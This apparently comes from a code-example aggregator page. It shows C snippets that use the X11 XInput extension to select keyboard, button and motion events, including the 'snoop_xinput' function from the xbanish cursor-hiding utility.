		return 0;
	}

	fprintf(stderr, "XInput: Player %d using Device `%s'", player_id + 1, dev_name);

	if (device->num_classes > 0) {
		any = (XAnyClassPtr)(info->inputclassinfo);

		for (ip = device->classes, i=0; i<info->num_classes; ip++, i++) {
			switch (ip->input_class) {
				case KeyClass:
					DeviceKeyPress(device, key_press_type, event_list[number]); number++;
					DeviceKeyRelease(device, key_release_type, event_list[number]); number++;
					break;

				case ButtonClass:
					binfo = (XButtonInfoPtr) any;
					DeviceButtonPress(device, button_press_type, event_list[number]); number++;
					DeviceButtonRelease(device, button_release_type, event_list[number]); number++;
					fprintf(stderr, ", %d buttons", binfo->num_buttons);
					break;

				case ValuatorClass:
					vinfo=(XValuatorInfoPtr) any;
					DeviceMotionNotify(device, motion_type, event_list[number]); number++;
					fprintf(stderr, ", %d axis", vinfo->num_axes);
					break;

				default:
					break;
			}
			any = (XAnyClassPtr) ((char *) any+any->length);
		}

		if (XSelectExtensionEvent(dpy, root_win, event_list, number)) {
			fprintf(stderr, ": Could not select extended events, not using");
			number = 0;
		}
	} else
		fprintf(stderr, " contains no classes, not using");

	fprintf(stderr, "\n");

	return number;
}
예제 #10
0
파일: xbanish.c 프로젝트: awjamison/xbanish
int
snoop_xinput(Window win)
{
	int opcode, event, error, numdevs, i, j;
	int major, minor, rc, rawmotion = 0;
	int ev = 0;
	unsigned char mask[(XI_LASTEVENT + 7)/8];
	XDeviceInfo *devinfo;
	XInputClassInfo *ici;
	XDevice *device;
	XIEventMask evmasks[1];

	if (!XQueryExtension(dpy, "XInputExtension", &opcode, &event, &error)) {
		if (debug)
			warn("XInput extension not available");

		return (0);
	}

	/*
	 * If we support xinput 2, use that for raw motion and button events to
	 * get pointer data when the cursor is over a Chromium window.  We
	 * could also use this to get raw key input and avoid the other XInput
	 * stuff, but we may need to be able to examine the key value later to
	 * filter out ignored keys.
	 */
	major = minor = 2;
	rc = XIQueryVersion(dpy, &major, &minor);
	if (rc != BadRequest) {
		memset(mask, 0, sizeof(mask));

		XISetMask(mask, XI_RawMotion);
		XISetMask(mask, XI_RawButtonPress);
		evmasks[0].deviceid = XIAllMasterDevices;
		evmasks[0].mask_len = sizeof(mask);
		evmasks[0].mask = mask;

		XISelectEvents(dpy, win, evmasks, 1);
		XFlush(dpy);

		rawmotion = 1;

		if (debug)
			printf("using xinput2 raw motion events\n");
	}

	devinfo = XListInputDevices(dpy, &numdevs);
	XEventClass event_list[numdevs * 2];
	for (i = 0; i < numdevs; i++) {
		if (devinfo[i].use != IsXExtensionKeyboard &&
		    devinfo[i].use != IsXExtensionPointer)
			continue;

		if (!(device = XOpenDevice(dpy, devinfo[i].id)))
			break;

		for (ici = device->classes, j = 0; j < devinfo[i].num_classes;
		ici++, j++) {
			switch (ici->input_class) {
			case KeyClass:
				if (debug)
					printf("attaching to keyboard device "
					    "%s (use %d)\n", devinfo[i].name,
					    devinfo[i].use);

				DeviceKeyPress(device, key_press_type,
				    event_list[ev]); ev++;
				DeviceKeyRelease(device, key_release_type,
				    event_list[ev]); ev++;
				break;

			case ButtonClass:
				if (rawmotion)
					continue;

				if (debug)
					printf("attaching to buttoned device "
					    "%s (use %d)\n", devinfo[i].name,
					    devinfo[i].use);

				DeviceButtonPress(device, button_press_type,
				    event_list[ev]); ev++;
				DeviceButtonRelease(device,
				    button_release_type, event_list[ev]); ev++;
				break;

			case ValuatorClass:
				if (rawmotion)
					continue;

				if (debug)
					printf("attaching to pointing device "
					    "%s (use %d)\n", devinfo[i].name,
					    devinfo[i].use);

				DeviceMotionNotify(device, motion_type,
				    event_list[ev]); ev++;
				break;
			}
		}

		if (XSelectExtensionEvent(dpy, win, event_list, ev)) {
			warn("error selecting extension events");
			return (0);
		}
	}

	return (ev);
}